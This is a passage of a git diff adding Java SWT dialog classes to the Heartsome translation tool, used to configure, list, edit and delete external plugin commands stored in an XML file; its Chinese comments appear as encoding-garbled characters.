MessageDialog.openInformation(getShell(), Messages.getString("dialog.Martif2TBXConverterDialog.msgTitle"), + e.getMessage()); + return; + } + + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/PluginConfigManageDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/PluginConfigManageDialog.java new file mode 100644 index 0000000..b7c700b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/PluginConfigManageDialog.java @@ -0,0 +1,533 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.io.OutputStream; + +import net.heartsome.cat.ts.ui.plugin.PluginConfigManage; +import net.heartsome.cat.ts.ui.plugin.PluginConstants; +import net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; + +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.bindings.keys.KeySequence; +import org.eclipse.jface.bindings.keys.KeySequenceText; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.internal.keys.model.KeyController; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +/** + * æ’件é…置管ç†ï¼ŒåŒ…括添加与修改æ’件 + * @author robert 2012-03-05 + * @version + * @since JDK1.6 + */ +public class PluginConfigManageDialog extends Dialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(PluginConfigManageDialog.class); + + private boolean isAdd; + private IWorkspaceRoot root; + private String pluginXmlLocation; + /** 当å‰å·²ç»æ·»åŠ æˆ–正在修改的æ’件é…ç½®pojo */ + private PluginConfigBean curPluginBean; + private PluginConfigManage manage = new PluginConfigManage(); + + private Text nameTxt; + private Text commandTxt; + private Color WHITE; + private Color ORANGE; + private Color BUTTON; + private Combo keyCmb; + private boolean errors; + private KeySequenceText fKeySequenceText; + private Text keyTxt; + @SuppressWarnings("restriction") + private KeyController keyController; + private Text switchTxt; + private Button switchBrowseBtn; + + /** 当å‰æ–‡æœ¬æ®µ */ + private Button outputSegemntBtn; + /** 当å‰æ–‡æ¡£ */ + private Button outputDocumentBtn; + /** 空白 */ + private Button outputBlankBtn; + /** 已更新的交æ¢æ–‡ä»¶ */ + private Button inputUpdateFileBtn; + /** 已更新的文档 */ + private Button inputUpdateDocuBtn; + /** 空白 */ + private Button inputBlankBtn; + + public PluginConfigManageDialog(Shell parentShell, boolean isAdd) { + super(parentShell); + this.isAdd = isAdd; + root = ResourcesPlugin.getWorkspace().getRoot(); + pluginXmlLocation = root.getLocation().append(PluginConstants.PC_pluginConfigLocation).toOSString(); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(isAdd ? Messages.getString("dialog.PluginConfigManageDialog.title1") : Messages + .getString("dialog.PluginConfigManageDialog.title2")); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().grab(true, true).hint(500, 350).minSize(500, 350).applyTo(tparent); + + // æ’件基本信æ¯ï¼ŒåŒ…括å称,命令行之类的东西 + Composite pluginInfoCmp = new Composite(tparent, SWT.BORDER); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(pluginInfoCmp); + GridLayoutFactory.swtDefaults().numColumns(3).applyTo(pluginInfoCmp); + + Label nameLbl = new Label(pluginInfoCmp, SWT.NONE); + nameLbl.setText(Messages.getString("dialog.PluginConfigManageDialog.nameLbl")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(nameLbl); + + nameTxt = new Text(pluginInfoCmp, SWT.BORDER); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).span(2, SWT.DEFAULT) + .applyTo(nameTxt); + + Label commandLbl = new Label(pluginInfoCmp, SWT.NONE); + commandLbl.setText(Messages.getString("dialog.PluginConfigManageDialog.commandLbl")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(commandLbl); + + commandTxt = new Text(pluginInfoCmp, SWT.BORDER); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(commandTxt); + + Button browseBtn = new Button(pluginInfoCmp, SWT.NONE); + browseBtn.setText(Messages.getString("dialog.PluginConfigManageDialog.browseBtn")); + browseBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + String[] extensions = { "*.exe", "*.*" }; + String[] names = { Messages.getString("dialog.PluginConfigManageDialog.names1"), + Messages.getString("dialog.PluginConfigManageDialog.names2") }; + String fileLocation = browseFile(Messages.getString("dialog.PluginConfigManageDialog.dialogTitle"), + extensions, names); + commandTxt.setText(fileLocation == null ? "" : fileLocation); + } + }); + + createShortcutKeyGoup(tparent); + createProcessesAddReturnGroup(tparent); + createSwitchCmp(tparent); + initListener(); + + return tparent; + } + + /** + * 创建快æ·é”®é¢æ¿ + * @param tparent + * ; + */ + private void createShortcutKeyGoup(Composite tparent) { + Group group = new Group(tparent, SWT.None); + group.setText(Messages.getString("dialog.PluginConfigManageDialog.group")); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(group); + GridLayoutFactory.swtDefaults().numColumns(2).applyTo(group); + + Label keyLbl = new Label(group, SWT.NONE); + keyLbl.setText(Messages.getString("dialog.PluginConfigManageDialog.keyLbl")); + + keyTxt = new Text(group, SWT.BORDER); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(keyTxt); + + fKeySequenceText = new KeySequenceText(keyTxt); + fKeySequenceText.setKeyStrokeLimit(4); + fKeySequenceText.addPropertyChangeListener(new IPropertyChangeListener() { + public final void propertyChange(final PropertyChangeEvent event) { + if (!event.getOldValue().equals(event.getNewValue())) { + final KeySequence keySequence = fKeySequenceText.getKeySequence(); + if (!keySequence.isComplete()) { + return; + } + keyTxt.setSelection(keyTxt.getTextLimit()); + } + } + }); + } + + /** + * 创建进程与返回两个group + * @param tparent + * ; + */ + private void createProcessesAddReturnGroup(Composite tparent) { + Composite prCmp = new Composite(tparent, SWT.NONE); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(prCmp); + GridLayoutFactory.fillDefaults().numColumns(2).equalWidth(true).applyTo(prCmp); + + GridData buttonData = new GridData(SWT.FILL, SWT.CENTER, true, false); + // 进程,相当于界é¢ä¸Šçš„输出 + Group processGroup = new Group(prCmp, SWT.None); + processGroup.setText(Messages.getString("dialog.PluginConfigManageDialog.processGroup")); + GridDataFactory.fillDefaults().grab(true, true).applyTo(processGroup); + GridLayoutFactory.swtDefaults().numColumns(1).applyTo(processGroup); + + outputSegemntBtn = new Button(processGroup, SWT.RADIO); + outputSegemntBtn.setText(Messages.getString("dialog.PluginConfigManageDialog.outputSegemntBtn")); + outputSegemntBtn.setLayoutData(buttonData); + + outputDocumentBtn = new Button(processGroup, SWT.RADIO); + outputDocumentBtn.setText(Messages.getString("dialog.PluginConfigManageDialog.outputDocumentBtn")); + outputDocumentBtn.setLayoutData(buttonData); + + outputBlankBtn = new Button(processGroup, SWT.RADIO); + outputBlankBtn.setText(Messages.getString("dialog.PluginConfigManageDialog.outputBlankBtn")); + outputBlankBtn.setLayoutData(buttonData); + + // 返回(相当于界é¢ä¸Šçš„输入) + Group returnGroup = new Group(prCmp, SWT.None); + returnGroup.setText(Messages.getString("dialog.PluginConfigManageDialog.returnGroup")); + GridDataFactory.fillDefaults().grab(true, true).applyTo(returnGroup); + GridLayoutFactory.swtDefaults().numColumns(1).applyTo(returnGroup); + + inputUpdateFileBtn = new Button(returnGroup, SWT.RADIO); + inputUpdateFileBtn.setText(Messages.getString("dialog.PluginConfigManageDialog.inputUpdateFileBtn")); + inputUpdateFileBtn.setLayoutData(buttonData); + + inputUpdateDocuBtn = new Button(returnGroup, SWT.RADIO); + inputUpdateDocuBtn.setText(Messages.getString("dialog.PluginConfigManageDialog.inputUpdateDocuBtn")); + inputUpdateDocuBtn.setLayoutData(buttonData); + + inputBlankBtn = new Button(returnGroup, SWT.RADIO); + inputBlankBtn.setText(Messages.getString("dialog.PluginConfigManageDialog.inputBlankBtn")); + inputBlankBtn.setLayoutData(buttonData); + + // 当å‰æ–‡æœ¬æ®µçš„事件 + outputSegemntBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + inputUpdateFileBtn.setEnabled(true); + inputUpdateDocuBtn.setEnabled(false); + inputUpdateDocuBtn.setSelection(false); + inputBlankBtn.setEnabled(true); + switchTxt.setEnabled(true); + switchBrowseBtn.setEnabled(true); + } + }); + + // 当å‰æ–‡æ¡£çš„事件 + outputDocumentBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + inputUpdateFileBtn.setEnabled(false); + inputUpdateFileBtn.setSelection(false); + inputUpdateDocuBtn.setEnabled(true); + inputBlankBtn.setEnabled(true); + switchTxt.setEnabled(false); + switchTxt.setText(""); + switchBrowseBtn.setEnabled(false); + } + }); + + // 进程中空格按钮的事件 + outputBlankBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + inputUpdateFileBtn.setEnabled(false); + inputUpdateFileBtn.setSelection(false); + inputUpdateDocuBtn.setEnabled(false); + inputUpdateDocuBtn.setSelection(false); + inputBlankBtn.setEnabled(false); + inputBlankBtn.setSelection(false); + switchTxt.setEnabled(false); + switchTxt.setText(""); + switchBrowseBtn.setEnabled(false); + } + }); + } + + private void createSwitchCmp(Composite tparent) { + Composite cmp = new Composite(tparent, SWT.NONE); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(cmp); + GridLayoutFactory.swtDefaults().numColumns(3).applyTo(cmp); + + Label switchLbl = new Label(cmp, SWT.NONE); + switchLbl.setText(Messages.getString("dialog.PluginConfigManageDialog.switchLbl")); + + switchTxt = new Text(cmp, SWT.BORDER); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(switchTxt); + + switchBrowseBtn = new Button(cmp, SWT.NONE); + switchBrowseBtn.setText(Messages.getString("dialog.PluginConfigManageDialog.switchBrowseBtn")); + switchBrowseBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + String fileLocation = browseFile(Messages.getString("dialog.PluginConfigManageDialog.dialogTitle2"), + null, null); + switchTxt.setText(fileLocation == null ? "" : fileLocation); + } + }); + } + + @Override + protected void okPressed() { + String id = "" + System.currentTimeMillis(); + String name = nameTxt.getText().trim(); + String command = commandTxt.getText().trim(); + if ("".equals(name) || name == null) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.PluginConfigManageDialog.msgTitle"), + Messages.getString("dialog.PluginConfigManageDialog.msg1")); + return; + } + if ("".equals(command) || command == null) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.PluginConfigManageDialog.msgTitle"), + Messages.getString("dialog.PluginConfigManageDialog.msg2")); + return; + } + String input = ""; + String output = ""; + if (inputUpdateFileBtn.getSelection()) { + input = PluginConstants.EXCHANGEFILE; + } else if (inputUpdateDocuBtn.getSelection()) { + input = PluginConstants.DOCUMENT; + } else if (inputBlankBtn.getSelection()) { + input = PluginConstants.NONE; + } + + if (outputSegemntBtn.getSelection()) { + output = PluginConstants.SEGMENT; + } else if (outputDocumentBtn.getSelection()) { + output = PluginConstants.DOCUMENT; + } else if (outputBlankBtn.getSelection()) { + output = PluginConstants.NONE; + } + + String shortcutKey = keyTxt.getText().trim(); + String outputPath = switchTxt.getText().trim(); + + PluginConfigBean pluginBean = new PluginConfigBean(id, name, command, input, output, outputPath, shortcutKey); + + if (isAdd) { + if (!addPluginData(pluginBean)) { + return; + } else { + manage.addPluginMenu(pluginBean); + } + } else { + // 修改之åŽçš„æ•°æ®ï¼ŒID是ä¸èƒ½å˜çš„。 + pluginBean.setId(curPluginBean.getId()); + // 执行修改æ“作 + editPlugindata(pluginBean); + } + + curPluginBean = pluginBean; + super.okPressed(); + } + + /** + * 选择文件 + * @param title + * @param extensions + * @param names + * @return ; + */ + private String browseFile(String title, String[] extensions, String[] names) { + FileDialog fd = new FileDialog(getShell(), SWT.OPEN); + fd.setText(title); + if (extensions != null) { + fd.setFilterExtensions(extensions); + } + if (names != null) { + fd.setFilterNames(names); + } + return fd.open(); + } + + /** + * 给所有的按钮添加事件 ; + */ + private void initListener() { + + } + + /** + * 添加æ’件é…置信æ¯åˆ°æ’件文件 ; + */ + private boolean addPluginData(PluginConfigBean pluginBean) { + File pluginXMl = new File(pluginXmlLocation); + if (!pluginXMl.getParentFile().exists()) { + pluginXMl.getParentFile().mkdirs(); + } + pluginXMl = new File(pluginXmlLocation); + + try { + // 如果é…置文件ä¸å­˜åœ¨ï¼Œåˆ™åˆ›å»º + if (!pluginXMl.exists()) { + OutputStream output = new FileOutputStream(pluginXmlLocation); + output.write("\n".getBytes("UTF-8")); + output.write("\n".getBytes("UTF-8")); + output.close(); + } + } catch (Exception e) { + LOGGER.error("", e); + } + + // 开始存放文件 + try { + VTDGen vg = new VTDGen(); + vg.parseFile(pluginXmlLocation, true); + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + + ap.selectXPath(manage.buildXpath(pluginBean)); + if (ap.evalXPath() != -1) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.PluginConfigManageDialog.msgTitle"), + Messages.getString("dialog.PluginConfigManageDialog.msg3")); + return false; + } + ap.resetXPath(); + + // 先判断此次添加的数æ®æ˜¯å¦å­˜åœ¨ + + String addData = manage.buildPluginData(pluginBean); + ap.selectXPath("/shortcuts"); + if (ap.evalXPath() != -1) { + XMLModifier xm = new XMLModifier(vn); + xm.insertBeforeTail(addData + "\n"); + + FileOutputStream fos = new FileOutputStream(pluginXmlLocation); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); // 写入文件 + bos.close(); + fos.close(); + } + } catch (Exception e) { + LOGGER.error("", e); + } + return true; + } + + public PluginConfigBean getCurPluginBean() { + return curPluginBean; + } + + /** + * åˆå§‹åŒ–ç¼–è¾‘æ•°æ® + * @param pluginBean + * ; + */ + public void setEditInitData(PluginConfigBean pluginBean) { + nameTxt.setText(pluginBean.getName()); + commandTxt.setText(pluginBean.getCommandLine()); + switchTxt.setText(pluginBean.getOutputPath()); + keyTxt.setText(pluginBean.getShortcutKey()); + + String output = pluginBean.getOutput(); + if (output.equals(PluginConstants.SEGMENT)) { + outputSegemntBtn.setSelection(true); + } else if (output.equals(PluginConstants.DOCUMENT)) { + outputDocumentBtn.setSelection(true); + } else if (output.equals(PluginConstants.NONE)) { + outputBlankBtn.setSelection(true); + } + + String input = pluginBean.getInput(); + if (input.equals(PluginConstants.EXCHANGEFILE)) { + inputUpdateFileBtn.setSelection(true); + } else if (input.equals(PluginConstants.DOCUMENT)) { + inputUpdateDocuBtn.setSelection(true); + } else if (input.equals(PluginConstants.NONE)) { + inputBlankBtn.setSelection(true); + } + + // 当å‰æ–‡æœ¬æ®µçš„事件 + if (outputSegemntBtn.getSelection()) { + inputUpdateFileBtn.setEnabled(true); + inputUpdateDocuBtn.setEnabled(false); + inputUpdateDocuBtn.setSelection(false); + inputBlankBtn.setEnabled(true); + switchTxt.setEnabled(true); + switchBrowseBtn.setEnabled(true); + } + + // 当å‰æ–‡æ¡£çš„事件 + if (outputDocumentBtn.getSelection()) { + inputUpdateFileBtn.setEnabled(false); + inputUpdateFileBtn.setSelection(false); + inputUpdateDocuBtn.setEnabled(true); + inputBlankBtn.setEnabled(true); + switchTxt.setEnabled(false); + switchTxt.setText(""); + switchBrowseBtn.setEnabled(false); + } + + // 进程中空格按钮的事件 + if (outputBlankBtn.getSelection()) { + inputUpdateFileBtn.setEnabled(false); + inputUpdateFileBtn.setSelection(false); + inputUpdateDocuBtn.setEnabled(false); + inputUpdateDocuBtn.setSelection(false); + inputBlankBtn.setEnabled(false); + inputBlankBtn.setSelection(false); + switchTxt.setEnabled(false); + switchTxt.setText(""); + switchBrowseBtn.setEnabled(false); + } + curPluginBean = pluginBean; + } + + private void editPlugindata(PluginConfigBean bean) { + VTDGen vg = new VTDGen(); + vg.parseFile(pluginXmlLocation, true); + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath(manage.buildXpath(curPluginBean)); + XMLModifier xm = new XMLModifier(vn); + while (ap.evalXPath() != -1) { + xm.remove(); + xm.insertAfterElement(manage.buildPluginData(bean)); + manage.updataPluginMenu(bean); + } + FileOutputStream fos = new FileOutputStream(pluginXmlLocation); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); // 写入文件 + bos.close(); + fos.close(); + } catch (Exception e) { + LOGGER.error("", e); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/PluginConfigurationDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/PluginConfigurationDialog.java new file mode 100644 index 0000000..116bc48 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/PluginConfigurationDialog.java @@ -0,0 +1,315 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import java.io.BufferedOutputStream; +import java.io.FileOutputStream; +import java.util.Iterator; + +import net.heartsome.cat.ts.ui.plugin.PluginConfigManage; +import net.heartsome.cat.ts.ui.plugin.PluginConstants; +import net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; + +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +public class PluginConfigurationDialog extends Dialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(PluginConfigurationDialog.class); + + private Button addBtn; + private Button editBtn; + private Button deleteBtn; + private TableViewer tableViewer; + private Table table; + private String pluginXmlLocation; + private PluginConfigManage manage; + + public PluginConfigurationDialog(Shell parentShell) { + super(parentShell); + IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + pluginXmlLocation = root.getLocation().append(PluginConstants.PC_pluginConfigLocation).toOSString(); + manage = new PluginConfigManage(pluginXmlLocation); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.PluginConfigurationDialog.title")); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected Control createButtonBar(Composite parent) { + Composite buttonCmp = new Composite(parent, SWT.NONE); + + GridLayout layout = new GridLayout(); + layout.numColumns = 2; + layout.makeColumnsEqualWidth = false; + layout.marginWidth = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_MARGIN); + layout.marginHeight = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_MARGIN); + layout.horizontalSpacing = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_SPACING); + layout.verticalSpacing = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_SPACING); + buttonCmp.setLayout(layout); + GridData data = new GridData(SWT.FILL, SWT.FILL, true, false); + buttonCmp.setLayoutData(data); + buttonCmp.setFont(parent.getFont()); + + Composite leftCmp = new Composite(buttonCmp, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(leftCmp); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(3).equalWidth(false).applyTo(leftCmp); + + addBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("dialog.PluginConfigurationDialog.addBtn"), false); + editBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("dialog.PluginConfigurationDialog.editBtn"), false); + deleteBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("dialog.PluginConfigurationDialog.deleteBtn"), false); + + Composite rightCmp = new Composite(buttonCmp, SWT.NONE); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(1).equalWidth(false).applyTo(rightCmp); + + new Label(rightCmp, SWT.NONE); + + Label separatorLbl = new Label(buttonCmp, SWT.HORIZONTAL | SWT.SEPARATOR); + GridDataFactory.fillDefaults().span(2, SWT.DEFAULT).applyTo(separatorLbl); + + new Label(buttonCmp, SWT.NONE); + Composite bottomCmp = new Composite(buttonCmp, SWT.NONE); + GridDataFactory.fillDefaults().grab(false, false).applyTo(bottomCmp); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(1).applyTo(bottomCmp); + + createButton(bottomCmp, IDialogConstants.CANCEL_ID, + Messages.getString("dialog.PluginConfigurationDialog.cancel"), true).setFocus(); + + initListener(); + return buttonCmp; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().hint(500, 400).minSize(500, 400).applyTo(tparent); + + tableViewer = new TableViewer(tparent, SWT.FULL_SELECTION | SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL + | SWT.MULTI); + table = tableViewer.getTable(); + table.setLinesVisible(true); + table.setHeaderVisible(true); + + GridDataFactory.fillDefaults().span(4, SWT.DEFAULT).grab(true, true).applyTo(table); + tableViewer.setLabelProvider(new TViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + + String[] columnNames = new String[] { Messages.getString("dialog.PluginConfigurationDialog.columnNames1"), + Messages.getString("dialog.PluginConfigurationDialog.columnNames2"), + Messages.getString("dialog.PluginConfigurationDialog.columnNames3"), + Messages.getString("dialog.PluginConfigurationDialog.columnNames4") }; + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT, SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new TableColumn(table, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + tableColumn.setWidth(50); + } + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.28, 0.28, 0.20, 0.20 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + + tableViewer.addDoubleClickListener(new IDoubleClickListener() { + public void doubleClick(DoubleClickEvent event) { + editPuginConfig(); + } + }); + refreshTable(null); + + return tparent; + } + + public void initListener() { + addBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + PluginConfigManageDialog dialog = new PluginConfigManageDialog(getShell(), true); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + refreshTable(dialog.getCurPluginBean()); + } + } + }); + + editBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + editPuginConfig(); + } + }); + + deleteBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + deletePluginData(); + } + }); + } + + @Override + protected void okPressed() { + super.okPressed(); + } + + public void editPuginConfig() { + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof StructuredSelection) { + StructuredSelection structuredSelection = (StructuredSelection) selection; + Iterator it = structuredSelection.iterator(); + if (it.hasNext()) { + PluginConfigBean configBean = it.next(); + PluginConfigManageDialog dialog = new PluginConfigManageDialog(getShell(), false); + dialog.create(); + dialog.setEditInitData(configBean); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + refreshTable(dialog.getCurPluginBean()); + } + } + } else { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.PluginConfigurationDialog.msgTitle"), + Messages.getString("dialog.PluginConfigurationDialog.msg1")); + } + } + + private void refreshTable(PluginConfigBean bean) { + tableViewer.setInput(manage.getPluginCofigData()); + if (bean != null) { + tableViewer.setSelection(new StructuredSelection(bean)); + } + } + + private void deletePluginData() { + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof StructuredSelection) { + boolean response = MessageDialog.openConfirm(getShell(), + Messages.getString("dialog.PluginConfigurationDialog.msgTitle2"), + Messages.getString("dialog.PluginConfigurationDialog.msg2")); + if (!response) { + return; + } + + StructuredSelection structuredSelection = (StructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator it = structuredSelection.iterator(); + + VTDGen vg = new VTDGen(); + vg.parseFile(pluginXmlLocation, true); + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + + try { + XMLModifier xm = new XMLModifier(vn); + + while (it.hasNext()) { + PluginConfigBean configBean = it.next(); + String xpath = manage.buildXpath(configBean); + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + xm.remove(); + manage.deletePluginMenu(configBean.getId()); + } + ap.resetXPath(); + } + FileOutputStream fos = new FileOutputStream(pluginXmlLocation); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); // 写入文件 + bos.close(); + fos.close(); + + refreshTable(null); + } catch (Exception e) { + LOGGER.error("", e); + } + } else { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.PluginConfigurationDialog.msgTitle"), + Messages.getString("dialog.PluginConfigurationDialog.msg3")); + } + } + + /** + * 语言规则列表标签æ供器 + * @author robert 2012-02-29 + * @version + * @since JDK1.6 + */ + private class TViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + public Image getColumnImage(Object element, int columnIndex) { + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof PluginConfigBean) { + PluginConfigBean bean = (PluginConfigBean) element; + switch (columnIndex) { + case 0: + return bean.getName(); + case 1: + return bean.getCommandLine(); + case 2: + return bean.getOutput(); + case 3: + return bean.getInput(); + default: + return null; + } + } + return null; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/PluginHelpDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/PluginHelpDialog.java new file mode 100644 index 0000000..b15d854 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/PluginHelpDialog.java @@ -0,0 +1,581 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.net.URL; +import java.util.Enumeration; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; + +import javax.xml.parsers.ParserConfigurationException; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.ui.plugin.Activator; +import net.heartsome.cat.ts.ui.plugin.PluginConstants; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; +import net.heartsome.cat.ts.ui.plugin.util.PluginUtil; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; 